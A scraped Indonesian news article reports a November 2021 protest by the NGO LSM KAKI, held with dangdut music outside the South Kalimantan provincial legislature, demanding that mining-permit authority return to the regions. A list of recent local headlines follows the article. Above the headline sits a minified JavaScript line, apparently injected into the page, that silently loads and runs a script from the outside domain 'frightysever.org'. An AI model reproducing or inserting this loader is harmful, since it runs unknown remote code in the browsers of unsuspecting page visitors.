(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Unjuk Rasa Sambil Dangdutan di DPRD Kalsel, LSM KAKI: Kewenangan Izin Pertambangan Harus Kembali ke Daerah


KANALKALIMANTAN.COM, BANJARMASIN – Massa yang menamakan diri Komite Anti Korupsi Indonesia (KAKI) Kalsel menggelar aksi unjuk rasa di depan gedung DPRD Provinsi Kalsel, Senin (15/11/2021) pukul 10.00 Wita.

Aksi unjuk rasa puluhan orang dari LSM KAKI Kalsel dipimpin oleh Husaini sekaligus sebagai orator utama menuntut keadilan dalam penerapan Undang-Undang Minerba. Dimana kewenangan izin pertambangan dinilai tidak adil bagi daerah dan cenderung lebih menguntungkan pemerintah pusat.

Pantauan kanalkalimantan.com dalam demonstrasi yang berjalan dengan damai tersebut para pengunjuk rasa yang kebanyakan emak-emak membawa spanduk tulisan protes kebijakan pemerintah pusat, diantaranya bertuliskan “Hentikan Izin Tambang yang Tidak Membawa Manfaat untuk Daerah”.

Aksi kali ini, pengunjuk rasa ditemui langsung Ketua DPRD Kalsel, H Supian HK.
Sebelum orasi dilakukan Husaini, puluhan pengunjuk rasa dengan kaos seragam menampilkan biduanita sebelum orasi dimulai. Menggunakan sound system lumayan keras pengunjuk rasa menunggu sambil berjoget di depan pintu masuk kantor DPRD Kalsel.

 

Baca juga : Bus Layanan Vaksin Keliling Banjarbaru Mulai Operasional Hari Pertama

Belum tuntas satu lagu oleh seorang biduanita, Ketua DPRD Kalsel H Supian HK menemui para pengunjuk rasa, dan langsung mendengarkan orasi Husaini atas nama LSM KAKI Kalsel mengenai masalah kewenangan izin pertambangan di Kalsel.

Tuntutan tersebut langsung diterima oleh Ketua DPRD H Supian HK, karena dinilai membawa dampak positif bagi warga masyarakat Kalsel.

Politisi Golkar ini sepakat dan setuju serta menerima aspirasi dan tuntutan LSM KAKI. “Akan kami tindak lanjuti ke pusat,” janji H Supian.

Mendengar hal itu para pengunjuk rasa langsung memberikan tepuk tangan yang meriah dan langsung meminta menandatangani tanda persetujuan, dari pihak pengunjuk rasa diwakili oleh Husaini.

 

Baca juga : ASN di BPKAD Banjarbaru Penandatanganan Perjanjian Kinerja

Setelah aksi unjuk rasa berakhir, kepada para awak media Husaini mengatakan, merasa pemberlakuan Undang-Undang Minerba atau pertambangan yang berlaku sekarang daerah hanya sebagai objek semata. “Dimana harusnya kita menjadi subjek bukan objek,” kata Husaini.

LSM KAKI Kalsel berharap, untuk izin pertambangan dipegang oleh Pemerintah Provinsi bukan pemerintah pusat.
“Jadi kami melalui DPRD Provinsi Kalsel ingin melakukan gugatan ke Mahkamah Konstitusi,” pungkasnya.(kanalkalimantan.com/seno)

Reporter : seno
Editor : bie


Desy Arfianty

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

9 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

16 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

17 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

18 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

19 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

19 jam ago

This website uses cookies.